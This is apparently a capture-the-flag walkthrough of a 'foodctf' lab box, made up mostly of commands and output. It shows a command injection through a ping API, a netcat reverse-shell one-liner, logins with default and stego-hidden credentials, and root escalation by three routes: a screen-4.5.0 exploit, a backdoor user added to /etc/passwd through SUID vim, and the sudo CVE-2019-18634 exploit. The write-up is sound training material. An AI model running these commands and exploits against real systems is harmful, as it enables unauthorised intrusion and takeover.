3306/tcp  open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp  open  abyss?
15065/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
16109/tcp open  unknown
46969/tcp open  telnet  Linux telnetd
2 services unrecognized despite returning data.

Initial Access

The HTTP server seems quite interesting, we’ll check this out first. Navigating to the page, we’re greeted with a message saying that the page is down. As hackers, we should never take this at face value. Time to break out gobuster and see if we can find anything else on that server.

Message stating the site is down.

root@ninja:~# gobuster dir -u -w /usr/share/wordlists/dirb/big.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/05/02 21:20:53 Starting gobuster
/monitor (Status: 301)
2020/05/02 21:21:30 Finished

The more polished interface, showing a 'ping host' box.

So on /monitor, we see a slightly more polished GUI. From a few other challenges, “Ping host” can often be a route for command injection. Let’s try chaining commands in the text box.

The site after attempting to chain commands, showing that IP addresses are validated

Aww, it’s not going to let us in that easily. It’s trying to validate the IP address we enter somewhere. Let’s check out what it’s doing behind the scenes by reading the JS.

Screenshot of the obfuscated javascript code

The JS is obfuscated, and I don’t fancy deobfuscating it. So let’s see what it’s actually doing if we put in a valid IP address. Opening the browser dev tools, we can track the HTTP requests that the page makes

Screenshot of firefox dev tools showing the HTTP request that was made

Interesting, we can see a POST request to /api/cmd with the body: “ping -c 4”. That implies that the command is being formed clientside, let’s try running our own commands with cURL!

root@ninja:~# curl -X POST -d "ls -lah"
total 7.8M
drwxr-xr-x 6 bread bread 4.0K Apr  6 20:21 .
drwxr-xr-x 7 root  root  4.0K Mar 28 01:49 ..
-rw------- 1 bread bread    5 Apr  6 20:21 .bash_history
-rw-r--r-- 1 bread bread  220 Mar 20 23:34 .bash_logout
-rw-r--r-- 1 bread bread 3.7K Mar 20 23:34 .bashrc
drwx------ 2 bread bread 4.0K Mar 20 23:42 .cache
----r--r-- 1 bread bread   38 Mar 28 01:24 flag
drwx------ 3 bread bread 4.0K Mar 20 23:42 .gnupg
drwxrwxr-x 3 bread bread 4.0K Mar 20 23:48 .local
-rwxrwxr-x 1 bread bread 7.7M Apr  6 17:58 main
-rw-rw-r-- 1 bread bread 1.5K Apr  6 17:58 main.go
-rw-r--r-- 1 bread bread  825 Mar 28 00:56 .profile
drwxrwxr-x 3 bread bread 4.0K Apr  6 20:18 resources

We have command injection, nice. Let’s spawn a quick revshell to get slightly better access to the box.

root@ninja:~# curl -X POST -d 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 4242 >/tmp/f'
root@ninja:~# nc -lvnp 4242
listening on [any] 4242 ...
connect to [] from (UNKNOWN) [] 50316
bash: cannot set terminal process group (703): Inappropriate ioctl for device
bash: no job control in this shell
bread@foodctf:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'   
python3 -c 'import pty; pty.spawn("/bin/bash")'

This is a KoTH box. We shouldn’t stop at one entry point. Let’s explore MySQL next. I wonder if the default creds (root:root for old versions) will work for it…

root@ninja:~# mysql -h -u root -p
Enter password: root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

Time to manually enumerate the databases and tables. Knowing how to do this is quite useful

MySQL [(none)]> show databases;
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| users              |
MySQL [(none)]> use users;
Database changed
MySQL [users]> show tables;
| Tables_in_users |
| User            |
MySQL [users]> select * from User;
| username | password                              |
| ramen    | noodlesRTheBest                     |
| flag     | FLAG REDACTED                         |

Now we have creds, let’s try them for SSH.

root@ninja:~# ssh ramen@
ramen@'s password: noodlesRTheBest
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

ramen@foodctf:~$ sudo -l
[sudo] password for ramen: ***************               
Sorry, user ramen may not run sudo on foodctf.

We’re in!. Now enumerating permissions randomly, we notice that we get asterisks when entering our password for sudo. This isn’t standard behaviour on Ubuntu. We’ll come back to this.

We’re running out of ports to look at. Let’s try the one that’s next up numerically, 16109. Nmap had no idea for this one, so let’s try netcatting it. Netcat is a great way to interact with services at a lower level, skipping browsers and clients.

root@ninja:~# nc 16109
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request

So it’s a webserver. Let’s try curl and see what that does.

root@ninja:~# curl
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: " to save to a file.
root@ninja:~# curl --output file16109
    % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                    Dload  Upload   Total   Spent    Left  Speed
100  372k    0  372k    0     0  2758k      0 --:--:-- --:--:-- --:--:-- 2758k
root@ninja:~# file file16109 
file16109: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1350x900, components 3

Seeing as we got a warning that it was binary data, we can assume it’s serving something interesting. The “file” command tells us it’s JPG data. Let’s look at the image and see if that helps.

Picture of delicious looking food found on port 16109

Well, it’s a picture of some nice looking food. Not really what you’d expect in a CTF. Maybe there’s more to it? Let’s run binwalk and then stegoveritas and see.

Binwalk found some Gzip data at the end, interesting. Let’s check that out first.


root@ninja:~# binwalk -e 16109.jpg
0             0x0             JPEG image data, JFIF standard 1.01
381172        0x5D0F4         gzip compressed data, from Unix, last modified: 2020-03-19 23:53:20 
root@ninja:~# cd _16109.jpg.extracted/
root@ninja:~/_16109.jpg.extracted# binwalk -e 5D0F4.gz 
0             0x0             POSIX tar archive (GNU), owner user name: "t"
root@ninja:~/_16109.jpg.extracted# cd _5D0F4.gz.extracted/
root@ninja:~/_16109.jpg.extracted/_5D0F4.gz.extracted# ls
0.tar  creds.txt
root@ninja:~/_16109.jpg.extracted/_5D0F4.gz.extracted# cat creds.txt

More creds!

In the background, stegoveritas found some steghidden data. We should check that out.

root@ninja:~# cd results/
root@ninja:~/results# file steghide_690338949d3501d285a8ea4500db1147.bin 
steghide_690338949d3501d285a8ea4500db1147.bin: ASCII text
root@ninja:~/results# cat steghide_690338949d3501d285a8ea4500db1147.bin 

Same creds again. I guess the creator wanted to make sure people could find them even if they didn’t know steg.

I guess we should test those creds then, via SSH.

root@ninja:~/results# ssh pasta@
pasta@'s password: pastaisdynamic
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
pasta@foodctf:~$ sudo -l
[sudo] password for pasta:               
Sorry, user pasta may not run sudo on foodctf.

Still no sudo, but we have another method of access.

I wonder what that last port has to offer. Nmap picked it up as telnet, so let’s try telnetting into it.

root@ninja:~/results# telnet 46969
Connected to
Escape character is '^]'.
foodctf login: 

That’s a fairly strange greeting. I wonder if it’s ROT13 encoded? Nope. But maybe it’s a different rotation? Playing around until you find something that looks about right, we get even more creds! (food:PASSWORD REDACTED)


With all of the ports explored, I think we need to try and get a root shell. None of the users so far had sudo, so let’s look for other vectors. A really excellent resource for this is available here PayloadsAllTheThings Linux Privilege Escalation. First, SUID binaries.

pasta@foodctf:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null

We have some unusual SUID binaries there. “/usr/bin/screen-4.5.0” implies that it was installed manually rather than with apt. “/usr/bin/vim.basic” is also probably interesting. Searching exploitdb, we find so let’s download and transfer this and run it.

pasta@foodctf:~$ nano
pasta@foodctf:~$ chmod +x 
pasta@foodctf:~$ ./ 
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
[+] Now we create our /etc/ file...
[+] Triggering...
' from /etc/ cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-pasta.

# whoami

Now, vim. Spawning a shell from Vim doesn’t give us a root shell, even though Vim is running as root. So let’s try something slightly different. Let’s make a backdoor user.

pasta@foodctf:~$ vim /etc/passwd
pasta@foodctf:~$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:112:114:MySQL Server,,,:/nonexistent:/bin/false
pasta@foodctf:~$ su hacker
Password: [blank password]

One more privesc. We noticed earlier that we got asterisks when entering our password for Sudo. There was a recent CVE (2019-18634) that affects sudo when this option is configured. The option is called PWFEEDBACK, and an exploit PoC is available here Github saleemrashid – Sudo CVE-2019-18634

Let’s compile this from Kali and copy over the binary, then run it!

root@ninja:~/Documents# git clone ''
Cloning into 'sudo-cve-2019-18634'...
Unpacking objects: 100% (24/24), done.
root@ninja:~/Documents# cd sudo-cve-2019-18634/
root@ninja:~/Documents/sudo-cve-2019-18634# ls
exploit.c  LICENSE  Makefile
root@ninja:~/Documents/sudo-cve-2019-18634# make
cc -Os -g3 -std=c99 -Wall -Wextra -Wpedantic -static -o exploit exploit.c
root@ninja:~/Documents/sudo-cve-2019-18634# ls
exploit  exploit.c  LICENSE  Makefile 
root@ninja:~/Documents/sudo-cve-2019-18634# scp /root/Documents/sudo-cve-2019-18634/exploit pasta@
pasta@'s password: pastaisdynamic
exploit                                                                                                           100%  881KB 805.9KB/s   00:01    
root@ninja:~/Documents/sudo-cve-2019-18634# ssh pasta@
pasta@'s password:pastaisdynamic 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
pasta@foodctf:~$ ls  exploit
pasta@foodctf:~$ chmod +x exploit 
pasta@foodctf:~$ ./exploit
[sudo] password for pasta: 
Sorry, try again.
# whoami

This exploit works even for users that can’t run any commands with sudo, which makes it one of my favourites. You get a root shell, because the “sudo” binary runs as root due to suid.

That’s all you need, other than finding the flags. I won’t reveal the locations of those, that’s down to you to find. Hope you’ve enjoyed, or at least learnt something.